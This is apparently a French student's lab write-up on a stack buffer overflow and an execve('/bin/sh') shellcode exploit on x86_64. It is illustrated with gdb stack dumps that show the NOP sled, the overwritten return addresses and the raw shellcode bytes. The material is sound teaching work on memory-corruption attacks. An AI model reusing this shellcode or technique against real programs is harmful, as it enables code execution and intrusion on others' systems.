144 lines
5.2 KiB
Markdown
144 lines
5.2 KiB
Markdown
---
|
|
title: "Sécurité logicielle : TD5 stack overflow et shellcode"
|
|
date: 2023-02-17
|
|
tags: ["Assembleur", "x86"]
|
|
categories: ["Sécurité logicielle", "TD"]
|
|
---
|
|
|
|
## Partie 1
|
|
|
|
Avec l'aide de `pframe`, nous pouvons voir que lorsque notre boucle itère pour
|
|
la onzième fois, l'affectation `t[11]` écrase `i` et le remet à 0. A ce moment
|
|
notre boucle reviens à départ; une boucle infinie se produit alors. C'est la
|
|
conséquence du *buffer overflow* causée par une mauvaise maitrise des boucles et
|
|
variables associées.
|
|
|
|
## Partie 2
|
|
|
|
### question 1 et 2
|
|
|
|
Effectivement le code vu en cours est repris dans cet exemple. Nous sommes
|
|
cependant en présence de code *C* avec du code assembleur directement écrit en
|
|
*hexadécimal*.
|
|
|
|
L'exploit est prévu pour fonctinner en assembleur x86_32 et x86_64 avec la
|
|
présence d'une macro afin de positionner les instructions adaptée dans la
|
|
variable `exploit`:
|
|
|
|
```c
|
|
|
|
unsigned char exploit[1024] = {
|
|
|
|
#ifdef __x86_64__
|
|
/* 64 bit version */
|
|
// [...]
|
|
0x0f, 0x05, // system call!
|
|
#else
|
|
/* 32 bit version */
|
|
// [...]
|
|
0xcd, 0x80, // system call!
|
|
#endif
|
|
};
|
|
```
|
|
|
|
|
|
### question 4
|
|
|
|
Lors de l'execution de notre attache en l'observant avec gdb, nous pouvons
|
|
clairement les éléments de notre attaque : les éléments de la pile contenant les
|
|
adresses vers notre *shellcode*, les padding avec des `nop` et le *shellcode*.
|
|
|
|
Avant la saisir par l'utilisateur dans `anodin` voici la pile:
|
|
|
|
```
|
|
0x7fffffffe520 0x00007fffffffe610
|
|
0x7fffffffe518 0x00007ffff7dff18a
|
|
0x7fffffffe510 0x0000000000000001
|
|
0x7fffffffe508 ... 0x00007ffff7ffdad0
|
|
0x7fffffffe500 arg3 0x0000000000000000
|
|
0x7fffffffe4f8 arg2 0x00000001f7fe6e10
|
|
0x7fffffffe4f0 arg1 0x00007fffffffe628
|
|
0x7fffffffe4e8 ret@ 0x00005555555551e8
|
|
0x7fffffffe4e0 bp 0x00007fffffffe510
|
|
0x7fffffffe4d8 0x0000000000000000
|
|
0x7fffffffe4d0 0x0000000000000000
|
|
0x7fffffffe4c8 0x0000000000000000
|
|
0x7fffffffe4c0 0x0000000000000000
|
|
0x7fffffffe4b8 0x0000000000000000
|
|
0x7fffffffe4b0 0x0000000000000040
|
|
0x7fffffffe4a8 0x000000000000000c
|
|
0x7fffffffe4a0 0x0000000000000000
|
|
0x7fffffffe498 0x0000000000000040
|
|
0x7fffffffe490 sp 0x0000000000000004
|
|
0x7fffffffe488 0x00005555555551af
|
|
0x7fffffffe480 0x00007fffffffe4e0
|
|
```
|
|
|
|
Après la saisie l'utilisateur, et donc **l'injection du code par `exploit`** la
|
|
pile a un tout autre aspect. On voit bien l'action de la "*mitraillette*" sur
|
|
le bas de la pile avec l'adresse de retour.
|
|
|
|
```
|
|
0x7fffffffe520 0x0000000000000000
|
|
0x7fffffffe518 0x0000000000000000
|
|
0x7fffffffe510 0x0000000000000000
|
|
0x7fffffffe508 0x00007fffffffe498
|
|
0x7fffffffe500 0x00007fffffffe498
|
|
0x7fffffffe4f8 0x00007fffffffe498
|
|
0x7fffffffe4f0 0x00007fffffffe498
|
|
0x7fffffffe4e8 ret@ 0x00007fffffffe498
|
|
0x7fffffffe4e0 bp 0x00007fffffffe498
|
|
0x7fffffffe4d8 0x00007fffffffe498
|
|
0x7fffffffe4d0 0x00007fffffffe498 ; mitraillette enclenchée!
|
|
0x7fffffffe4c8 0x0000000000000000
|
|
0x7fffffffe4c0 0x0000000000000000
|
|
0x7fffffffe4b8 0x050fe6894857e289
|
|
0x7fffffffe4b0 0x48006a0000003bc0
|
|
0x7fffffffe4a8 0xc7485f0068732f6e
|
|
0x7fffffffe4a0 0x69622f00000008e8 ; début de notre shellcode
|
|
0x7fffffffe498 0x9090909090909090 ; nop
|
|
0x7fffffffe490 sp 0x9090909090909090 ; nop
|
|
0x7fffffffe488 0x00005555555551c0
|
|
0x7fffffffe480 0x00007fffffffe638
|
|
; [...]
|
|
```
|
|
|
|
On voit aussi apparaitre notre *Instruction Pointer* dans la pile lorsque notre
|
|
shellcode est exécuté. Les différents paramètres pour **l'appel système** se
|
|
mettent alors en places.
|
|
|
|
```
|
|
0x7fffffffe4f0 sp 0x00007fffffffe498
|
|
0x7fffffffe4e8 0x00007fffffffe498
|
|
0x7fffffffe4e0 0x00007fffffffe498
|
|
0x7fffffffe4d8 0x00000000ffffe498
|
|
0x7fffffffe4d0 0x00007fffffffe498
|
|
0x7fffffffe4c8 0x0000000000000000
|
|
0x7fffffffe4c0 0x0000000000000000
|
|
0x7fffffffe4b8 0x050fe6894857e289
|
|
0x7fffffffe4b0 0x48006a0000003bc0
|
|
0x7fffffffe4a8 0xc7485f0068732f6e
|
|
0x7fffffffe4a0 0x69622f00000008e8
|
|
0x7fffffffe498 ip bp 0x9090909090909090
|
|
0x7fffffffe490 0x9090909090909090
|
|
0x7fffffffe488 0x00005555555551cc
|
|
0x7fffffffe480 0x0000000000000003
|
|
```
|
|
Voici les éléments de notre `exploit` qui se retrouvent dans la pile, les
|
|
diférentes parties sont délimitées par des crochets:
|
|
```
|
|
0x7fffffffe4b8 0x[050f] e6894857e289 ; 4
|
|
0x7fffffffe4b0 0x48006a000000 [3b] c0 ; 3
|
|
0x7fffffffe4a8 0xc7485f0068732f6e
|
|
0x7fffffffe4a0 0x69622f [00000008e8] ; 2
|
|
0x7fffffffe498 ip bp 0x9090909090909090 ; 1
|
|
```
|
|
|
|
1. piste d'atterrissage de l'exploit preparée avec des `nop`
|
|
2. placement en mémoire de notre chaine `/bin/sh`
|
|
3. le numéro d'appel système pour `execve` (59 ou *0x3b*)
|
|
4. lancement de notre appel système
|
|
|
|
Lors de l'instruction pas à pas du code assembleur, nous pouvons observer la
|
|
mise en place des arguments de notre appel système dans les différents
|
|
registres, notamment *0x3b* dans `rax`.
|